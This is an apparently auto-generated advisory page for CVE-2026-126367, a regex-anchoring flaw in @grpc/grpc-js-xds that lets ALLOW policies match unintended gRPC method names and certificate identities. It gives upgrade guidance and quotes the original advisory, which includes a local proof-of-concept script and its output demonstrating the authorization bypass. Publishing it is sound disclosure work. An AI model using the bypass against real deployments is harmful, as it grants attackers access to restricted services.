MEDIUM · CVSS 3.1 4.8 EPSS 0.2% · 5th percentile CWE-625CWE-863

CVE-2026-126367: @grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation

Published 2026-11-12 · Updated 2026-11-12 · Also known as GHSA-r7hq-q2xm-6c5m

Summary

The @grpc/grpc-js-xds package incorrectly anchors regular expressions containing alternation, causing partial string matching instead of full matching. Security teams should update to the patched versions to ensure RBAC and route selection policies are correctly enforced.

Who is affected

Affected deployments using safe_regex matchers with alternation operators in RBAC, route selection, or xDS credentials are susceptible to authorization bypass. An attacker can craft inputs that partially match an allowed pattern, potentially gaining access to restricted gRPC services or methods that the intended policy was meant to block.

Exploitability

The vulnerability carries a CVSS 3.1 score of 4.8, indicating a moderate severity level that requires specific configuration conditions to be exploited. With an EPSS score of 0.002, the probability of exploit is low, and the issue is not currently listed in the CISA Known Exploited Vulnerabilities catalog.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-19. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
npm @grpc/grpc-js-xds >= 1.14.0, < 1.14.2 1.14.2 npm install @grpc/[email protected]
npm @grpc/grpc-js-xds >= 0, < 1.13.2 1.13.2 npm install @grpc/[email protected]

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Attack vectorNetwork
Attack complexityHigh
Privileges requiredNone
User interactionNone
ScopeUnchanged
ConfidentialityLow
IntegrityLow
AvailabilityNone

FAQ

Does this vulnerability affect standard gRPC calls?

No, the issue is specific to the xDS (Discovery Service) implementation in @grpc/grpc-js-xds, specifically affecting components that utilize custom regex matching for authorization and routing.

Is this a remote code execution vulnerability?

No, this is an authorization bypass vulnerability. It allows unauthorized access to services by circumventing regex-based permission rules, but it does not provide direct arbitrary code execution.

How can I remediate if I cannot upgrade immediately?

Not documented. You should avoid using regex alternation in safe_regex matchers as a temporary mitigation, or strictly review RBAC policies to ensure they do not rely on partial matches.

Original advisory description
### Summary The StringMatcher/PathMatcher for `safe_regex` builds its RE2 as `^${regex}$` with no surrounding group. Because alternation has the lowest precedence, a pattern `"a|b|c"` compiles to `/^a|b|c$/` -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with `safe_regex` matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC. ### Details `src/matcher.ts`: `SafeRegexValueMatcher` and `PathSafeRegexValueMatcher` both do ```ts this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u'); ``` and `apply()` returns `targetRegexImpl.test(value)`. With a top-level alternation the anchors bind only to the first/last branch. https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59 https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232 `src/route.ts` (`getPredicateForStringMatcher` / `getPredicateForHeaderMatcher`) builds these for every `safe_regex` `StringMatcher`/`HeaderMatcher`, and src/rbac.ts uses them for RBAC `url_path` `permissions`/`principals`, `authenticated.principal_name` (mTLS SAN/CN), `requested_server_name` and `header rules`. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe). https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28 https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47 ### Proof of concept In a scratch directory: ``` npm init -y npm i @grpc/[email protected] @grpc/grpc-js node poc.cjs ``` `poc.cjs` calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network: ```js const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js') const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js') const { Metadata } = require('@grpc/grpc-js') console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u) const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } }) const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null, destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' }) const g = parseConfig({ action: 'ALLOW', policies: { p: { permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }], principals: [{ identifier: 'any', any: true }] } } }) console.log('GetUser ', g.apply(info('/acme.Users/GetUser'))) // true (intended) console.log('DeleteUser ', g.apply(info('/acme.Users/DeleteUser'))) // false (control) console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS ``` Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6): ``` matcher "admin|editor" -> SafeRegex(/^admin|editor$/u); apply("administrator")=true, apply("not-an-editor")=true ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers: /acme.Users/GetUser -> ALLOWED (intended) /acme.Users/DeleteUser -> denied (control) /acme.Users/GetUserSecrets -> ALLOWED <-- bypass (policy intends deny) control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin: spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass ``` ### Impact Users of `@grpc/grpc-js-xds` who are using `safe_regex` matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.

References

Source records: GHSA-r7hq-q2xm-6c5m (OSV.dev) · EPSS by FIRST, 2026-11-21.